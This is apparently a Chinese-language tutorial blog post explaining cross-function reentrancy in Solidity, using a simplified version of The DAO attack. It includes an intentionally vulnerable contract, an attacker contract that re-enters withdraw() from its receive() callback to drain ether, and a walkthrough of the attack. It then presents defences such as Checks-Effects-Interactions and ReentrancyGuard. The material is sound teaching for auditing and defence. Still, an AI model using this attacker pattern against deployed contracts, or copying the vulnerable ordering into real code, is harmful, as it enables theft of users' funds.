10分钟智能合约:进阶实战-3.2.2 跨函数重入

欢迎订阅专栏10分钟智能合约:进阶实战

跨函数重入:定义、原理与经典案例

跨函数重入 是指攻击者通过一次外部调用,递归地重新进入同一个合约的另一个函数 ,利用多个函数间共享的状态尚未更新的窗口期,执行非预期的操作。

这一攻击类型的标志性事件 是 2016 年的 The DAO 攻击,导致约 360 万 ETH 被分叉回滚,直接促成了以太坊经典(ETC)的诞生。


1. 核心原理

跨函数重入的根本原因与单函数重入相同:状态更新滞后于外部调用

区别在于,重入点不再是当前函数本身,而是另一个也依赖同一状态变量的函数

典型脆弱模式:

  • 合约中有 两个或以上 的函数读取/修改同一个状态变量(如 balances[user])。
  • 其中一个函数在状态更新前发起外部调用。
  • 攻击者在该外部调用的回调中,调用另一个函数,后者读取尚未更新的状态,执行操作(如再次提款)。

2. 经典示例:The DAO 攻击简化复现

以下代码高度简化了 DAO 的核心逻辑,仅用于演示跨函数重入原理,并非完整复现。

solidity 复制代码
// 有漏洞的DAO简化版
contract SimpleDAO {
    mapping(address => uint) public balances;

    // 存款
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 1️⃣ 拆分提案并提取资金(漏洞函数)
    function splitDAO(address _recipient, uint _amount) public {
        uint userBalance = balances[msg.sender];
        require(userBalance >= _amount, "Insufficient balance");

        // ⚠️ 漏洞:先进行外部调用,后更新状态
        // 假设这里调用了某种奖励分发合约,触发外部回调
        (bool success, ) = _recipient.call{value: _amount}("");
        require(success, "Transfer failed");

        // 状态更新滞后
        balances[msg.sender] -= _amount;
    }

    // 2️⃣ 另一个提款函数(被重入的目标)
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

攻击者合约

solidity 复制代码
contract Attacker {
    SimpleDAO public dao;

    constructor(address _dao) {
        dao = SimpleDAO(_dao);
    }

    // 攻击入口:先存款,再触发漏洞
    function attack() public payable {
        dao.deposit{value: 1 ether}();
        dao.splitDAO(address(this), 1 ether);  // 将收款地址设为自己
    }

    // 收到ETH时的回调
    receive() external payable {
        if (address(dao).balance >= 1 ether) {
            dao.withdraw(1 ether);  // ⚠️ 跨函数重入:调用另一个函数 withdraw
        }
    }
}

3. 攻击过程详解

步骤 操作 状态变化 / 关键点
1 攻击者 attack() 调用 dao.deposit(1 ETH) balances[attacker] = 1 ETH
2 调用 dao.splitDAO(attacker, 1 ETH) 进入漏洞函数
3 检查 balances[attacker] ≥ 1 → 通过 此时余额仍为 1
4 向攻击者发送 1 ETH 触发攻击者的 receive()
5 攻击者 receive() 内调用 dao.withdraw(1 ETH) 跨函数重入开始
6 withdraw 检查 balances[attacker] ≥ 1 由于 splitDAO 尚未扣款,余额仍为 1 → 通过
7 withdraw 扣减余额 (1 → 0),并向攻击者发送 1 ETH 攻击者再得 1 ETH
8 withdraw 执行完毕,返回 splitDAO 继续执行原 splitDAO
9 splitDAO 执行 balances[attacker] -= 1 此时余额已是 0,再减 1 → 下溢?在 Solidity 0.8+ 会报错,早期版本会变成 2²⁵⁶-1
10 攻击者可重复循环(视回调控制) 直至合约 ETH 耗尽

攻击效果:攻击者从最初 1 ETH 余额,最终提取出远超其实际份额的资金。


4. 跨函数重入 vs 其他重入类型

类型 重入目标函数 典型特征 代表案例
单函数重入 同一个函数 函数内部递归调用自身 经典提款漏洞
跨函数重入 同一合约的不同函数 两个函数共享同一状态变量 The DAO 攻击
跨合约重入 另一个合约的函数 合约 A 调用 B,B 回调 A 的函数 多次发生于跨协议交互
只读重入 view 函数 不修改状态,但读取尚未更新的数据,用于操纵其他协议 Acala aUSD 攻击

5. 防御措施

核心防御:检查-生效-交互(Checks-Effects-Interactions)

任何可能被外部重入的函数,都必须在外部调用之前完成所有内部状态更新。

solidity 复制代码
function splitDAO(address _recipient, uint _amount) public {
    uint userBalance = balances[msg.sender];
    require(userBalance >= _amount, "Insufficient balance");

    // ✅ 先更新状态
    balances[msg.sender] -= _amount;

    // ✅ 再执行外部调用
    (bool success, ) = _recipient.call{value: _amount}("");
    require(success, "Transfer failed");
}

重入锁

使用 ReentrancyGuard 修饰符,确保在函数执行期间整个合约不可重入。注意:重入锁是全局性的,可以同时防御单函数和跨函数重入。

solidity 复制代码
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SimpleDAO is ReentrancyGuard {
    function splitDAO(address _recipient, uint _amount) public nonReentrant {
        // 安全
    }
    function withdraw(uint _amount) public nonReentrant {
        // 安全
    }
}

最小化外部调用

仅在绝对必要时发起外部调用,且尽可能在函数末尾进行。若必须与外部交互,优先使用**"拉取支付"(Pull Payment)**模式,将发送资产的责任转移给用户。


6. 现代启示与演变

  • 重入锁已成为标准 :OpenZeppelin 的 ReentrancyGuard 被绝大多数 DeFi 项目采用,显著降低了跨函数重入的风险。
  • 只读重入的新挑战 :即使不修改状态,重入期间读取不一致的瞬时状态仍可能被用于操纵预言机、价格计算等,需要结合其他约束防御。
  • 跨合约重入仍需警惕:当多个合约协同工作时,单一合约的重入锁无法阻止另一合约的回调,需要协议级别的协调设计。

总结

跨函数重入是重入攻击家族中极具破坏力的成员 ,其本质依然是状态更新滞后于外部调用 ,只是重入点被导向了另一个共享状态的函数。

防御跨函数重入并不需要特殊技巧------遵循 CEI 模式并配合重入锁即可一劳永逸地解决问题。然而,理解其与单函数重入的区别,有助于在审计中更敏锐地识别那些**"看似无关,实则共享状态"**的函数组合。

相关推荐
Rockbean2 小时前
10分钟智能合约:进阶实战-3.2.3 跨合约重入
web3·智能合约·solidity
China_Yanhy3 小时前
入职 Web3 运维日记 · 第 12 日:拥堵的跨链桥 —— 消失的 Gas 与“守护者”脚本
运维·web3·php
暴躁小师兄数据学院3 小时前
【WEB3.0零基础转行笔记】Go编程篇-第6讲:函数与包
笔记·golang·web3·区块链·智能合约
暴躁小师兄数据学院1 天前
【WEB3.0零基础转行笔记】Solidity编程篇-第2讲:StorageFactory
开发语言·笔记·后端·golang·web3·区块链
China_Yanhy1 天前
入职 Web3 运维日记 · 第 11 日:从 Hex 到 SQL —— 自建链上数据仓库 (Data Warehouse)
运维·sql·web3
岁月刘声机1 天前
电子签章在数字化进程中的占比重吗?
大数据·智能合约·业界资讯
Rockbean1 天前
10分钟智能合约:进阶实战-3.2.1 单函数重入
web3·智能合约·solidity
devmoon1 天前
使用 Foundry 在 Polkadot Hub 上开发与部署智能合约完整指南(安装、部署、验证、交互详解)
智能合约
China_Yanhy2 天前
入职 Web3 运维日记 · 第 10 日:终极考核 —— 混沌工程 (Chaos Engineering) 与区域级容灾
运维·web3